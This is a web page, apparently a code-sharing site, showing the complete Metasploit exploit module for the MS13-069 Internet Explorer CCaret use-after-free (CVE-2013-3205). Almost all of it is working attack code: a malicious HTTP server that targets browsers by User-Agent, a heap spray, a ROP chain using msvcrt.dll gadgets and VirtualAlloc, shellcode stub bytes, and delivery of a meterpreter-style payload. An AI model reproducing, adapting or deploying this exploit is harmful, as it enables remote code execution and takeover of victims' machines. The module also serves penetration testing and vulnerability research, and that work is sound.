扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "MS13-069 Microsoft Internet Explorer CCaret Use-After-Free", 'Description'=> %q{ This module exploits a use-after-free vulnerability found in Internet Explorer, specifically in how the browser handles the caret (text cursor) object. In IE's standards mode, the caret handling's vulnerable state can be triggered by first setting up an editable page with an input field, and then we can force the caret to update in an onbeforeeditfocus event by setting the body's innerHTML property. In this event handler, mshtml!CCaret::`vftable' can be freed using a document.write() function, however, mshtml!CCaret::UpdateScreenCaret remains unaware of this change, and still uses the same reference to the CCaret object. When the function tries to use this invalid reference to call a virtual function at offset 0x2c, it finally results a crash. Precise control of the freed object allows arbitrary code execution under the context of the user. }, 'License'=> MSF_LICENSE, 'Author' => [ 'corelanc0d3r', # Vuln discovery & PoC (@corelanc0d3r) 'sinn3r'# Metasploit (@_sinn3r) ], 'References' => [ [ 'CVE', '2013-3205' ], [ 'OSVDB', '97094' ], [ 'MSB', 'MS13-069'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-217/' ] ], 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', {} ], [ # Win 7 target on hold until we have a stable custom spray for it 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'TargetAddr'=> 0x1ec20101, # Allocs @ 1ec20020 (+0xe1 bytes to be null-byte free) - in ecx 'PayloadAddr' => 0x1ec20105, # where the ROP payload begins 'Pivot' => 0x77C4FA1A, # mov esp,ebx; pop ebx; ret 'PopESP'=> 0x77C37422, # pop esp; ret (pivot to a bigger space) 'Align' => 0x77c4d801# add esp, 0x2c; ret (ROP gadget to jmp over pivot gadget) } ] ], 'Payload'=> { # Our property sprays dislike null bytes 'BadChars' => "\x00", # Fix the stack again before the payload is executed. # If we don't do this, meterpreter fails due to a bad socket. 'Prepend'=> "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] "\x83\xC0\x08" + # add eax, byte 8 "\x8b\x20" + # mov esp, [eax] "\x81\xC4\x30\xF8\xFF\xFF",# add esp, -2000 # Fall back to the previous allocation so we have plenty of space # for the decoder to use 'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, 'DisclosureDate' => "Sep 10 2013", 'DefaultTarget'=> 0)) end def get_target(agent) return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) return t end end nil end def get_payload(t) rop = [ 0x77c1e844, # POP EBP # RETN [msvcrt.dll] 0x77c1e844, # skip 4 bytes [msvcrt.dll] 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] 0xffffffff, 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] 0x77c3048a, # POP EDI # RETN [msvcrt.dll] 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] 0x77c46efb, # POP ESI # RETN [msvcrt.dll] 0x77c2aacc, # JMP [EAX] [msvcrt.dll] 0x77c3b860, # POP EAX # RETN [msvcrt.dll] 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] 0x77c35459# ptr to 'push esp #ret ' [msvcrt.dll] ].pack("V*") # This data should appear at the beginning of the target address (see TargetAddr in metadata) p = '' p << rand_text_alpha(225) # Padding to avoid null byte addr p << [t['TargetAddr']].pack("V*") # For mov ecx,dword ptr [eax] p << [t['Align']].pack("V*") * ( (0x2c-4)/4 ) # 0x2c bytes to pivot (-4 for TargetAddr) p << [t['Pivot']].pack("V*")# Stack pivot p << rand_text_alpha(4) # Padding for the add esp,0x2c alignment p << rop# ROP chain p << payload.encoded# Actual payload return p end # # Notes: # * A custom spray is used (see function putPayload), because document.write() keeps freeing # our other sprays like js_property_spray or the heaplib + substring approach. This spray # seems unstable for Win 7, we'll have to invest more time on that. # * Object size = 0x30 # def get_html(t) js_payload_addr = ::Rex::Text.to_unescape([t['PayloadAddr']].pack("V*")) js_target_addr= ::Rex::Text.to_unescape([t['TargetAddr']].pack("V*")) js_pop_esp= ::Rex::Text.to_unescape([t['PopESP']].pack("V*")) js_payload= ::Rex::Text.to_unescape(get_payload(t)) js_rand_dword = ::Rex::Text.to_unescape(rand_text_alpha(4)) html = %Q|<!DOCTYPE html> <html> <head> <script> var freeReady = false; function getObject() { var obj = ''; for (i=0; i < 11; i++) { if (i==1) { obj += unescape("#{js_pop_esp}"); } else if (i==2) { obj += unescape("#{js_payload_addr}"); } else if (i==3) { obj += unescape("#{js_target_addr}"); } else { obj += unescape("#{js_rand_dword}"); } } obj += "\\u4545"; return obj; } function emptyAllocator(obj) { for (var i = 0; i < 40; i++) { var e = document.createElement('div'); e.className = obj; } } function spray(obj) { for (var i = 0; i < 50; i++) { var e = document.createElement('div'); e.className = obj; document.appendChild(e); } } function putPayload() { var p = unescape("#{js_payload}"); var block = unescape("#{js_rand_dword}"); while (block.length < 0x80000) block += block; block = p + block.substring(0, (0x80000-p.length-6)/2); for (var i = 0; i < 0x300; i++) { var e = document.createElement('div'); e.className = block; document.appendChild(e); } } function trigger() { if (freeReady) { var obj = getObject(); emptyAllocator(obj); document.write("#{rand_text_alpha(1)}"); spray(obj); putPayload(); } } window.onload = function() { document.body.contentEditable = 'true'; document.execCommand('InsertInputPassword'); document.body.innerHTML = '#{rand_text_alpha(1)}'; freeReady = true; } </script> </head> <body onbeforeeditfocus="trigger()"> </body> </html> | html.gsub(/^\x20\x20\x20\x20/, '') end def on_request_uri(cli, request) agent = request.headers['User-Agent'] t = get_target(agent) unless t print_error("Not a suitable target: #{agent}") send_not_found(cli) return end html = get_html(t) print_status("Sending exploit...") send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) end end =begin In mshtml!CCaret::UpdateScreenCaret function: .text:63620F82 mov ecx, [eax]; crash .text:63620F84 lea edx, [esp+110h+var_A4] .text:63620F88 pushedx .text:63620F89 pusheax .text:63620F8A calldword ptr [ecx+2Ch] =end |
体验盒子
